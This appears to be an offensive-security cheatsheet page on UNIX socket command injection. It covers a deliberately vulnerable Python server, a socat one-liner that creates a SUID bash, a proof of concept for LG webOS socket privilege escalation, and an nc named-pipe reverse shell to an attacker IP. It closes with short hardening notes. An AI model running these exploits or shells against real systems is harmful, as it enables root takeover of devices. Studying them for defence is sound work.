daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

socket-command-injection.md (4071B)


      1 ---
      2 title: "Socket Command Injection"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/network-information/socket-command-injection.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/network-information/socket-command-injection.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Socket Command Injection
     14 
     15 ## Socket binding example with Python
     16 
     17 In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.
     18 
     19 ```python
     20 import socket
     21 import os, os.path
     22 import time
     23 from collections import deque
     24 
     25 if os.path.exists("/tmp/socket_test.s"):
     26   os.remove("/tmp/socket_test.s")
     27 
     28 server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
     29 server.bind("/tmp/socket_test.s")
     30 os.system("chmod o+w /tmp/socket_test.s")
     31 while True:
     32   server.listen(1)
     33   conn, addr = server.accept()
     34   datagram = conn.recv(1024)
     35   if datagram:
     36     print(datagram)
     37     os.system(datagram)
     38     conn.close()
     39 ```
     40 
     41 **Execute** the code using python: `python s.py` and **check how the socket is listening**:
     42 
     43 ```python
     44 netstat -a -p --unix | grep "socket_test"
     45 (Not all processes could be identified, non-owned process info
     46  will not be shown, you would have to be root to see it all.)
     47 unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python        /tmp/socket_test.s
     48 ```
     49 
     50 **Exploit**
     51 
     52 ```python
     53 echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
     54 ```
     55 
     56 ## Case study: Root-owned UNIX socket signal-triggered escalation (LG webOS)
     57 
     58 Some privileged daemons expose a root-owned UNIX socket that accepts untrusted input and couples privileged actions to thread-IDs and signals. If the protocol lets an unprivileged client influence which native thread is targeted, you may be able to trigger a privileged code path and escalate.<sup>[[1]](#references)[[2]](#references)</sup>
     59 
     60 The primary write-up and disclosure describe the following sequence.<sup>[[1]](#references)[[2]](#references)</sup>
     61 
     62 Observed pattern:
     63 - Connect to a root-owned socket (e.g., /tmp/remotelogger).
     64 - Create a thread and obtain its native thread id (TID).
     65 - Send the TID (packed) plus padding as a request; receive an acknowledgement.
     66 - Deliver a specific signal to that TID to trigger the privileged behaviour.
     67 
     68 The condensed PoC below mirrors that sequence.<sup>[[1]](#references)[[2]](#references)</sup>
     69 Minimal PoC sketch:
     70 
     71 ```python
     72 import socket, struct, os, threading, time
     73 # Spawn a thread so we have a TID we can signal
     74 th = threading.Thread(target=time.sleep, args=(600,)); th.start()
     75 tid = th.native_id  # Python >=3.8
     76 s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
     77 s.connect("/tmp/remotelogger")
     78 s.sendall(struct.pack('<L', tid) + b'A'*0x80)
     79 s.recv(4)  # sync
     80 os.kill(tid, 4)  # deliver SIGILL (example from the case)
     81 ```
     82 
     83 To turn this into a root shell, a simple named-pipe + nc pattern can be used.<sup>[[2]](#references)</sup>
     84 
     85 ```bash
     86 rm -f /tmp/f; mkfifo /tmp/f
     87 cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
     88 ```
     89 
     90 Notes:
     91 - This class of bugs arises from trusting values derived from unprivileged client state (TIDs) and binding them to privileged signal handlers or logic.<sup>[[1]](#references)</sup>
     92 - Harden by enforcing credentials on the socket, validating message formats, and decoupling privileged operations from externally supplied thread identifiers.
     93 
     94 ## References
     95 
     96 - [1] [Jailbreak webOS for fun (just for fun)](https://ut.buglloc.com/2025/01/webos-jailbreak/)
     97 - [2] [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)